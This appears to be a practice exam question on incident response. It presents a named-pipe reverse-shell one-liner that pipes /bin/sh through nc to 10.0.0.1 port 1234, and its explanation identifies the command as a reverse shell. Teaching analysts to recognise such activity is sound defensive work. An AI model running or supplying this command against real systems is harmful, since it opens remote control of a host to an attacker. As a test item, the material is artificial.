QuestionQ70

VerifiedIncident Response and Management

A security analyst identified the following suspicious activity:

rm -f /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 > tmp/f  

Which of the following best describes this activity?

Explanation

A named pipe redirects an interactive /bin/sh session through nc to an external IP address and port. The compromised host initiates the outbound connection and supplies remote interactive command execution, which is a reverse shell.

Community Discussion

No comments yet. Be the first to start the discussion!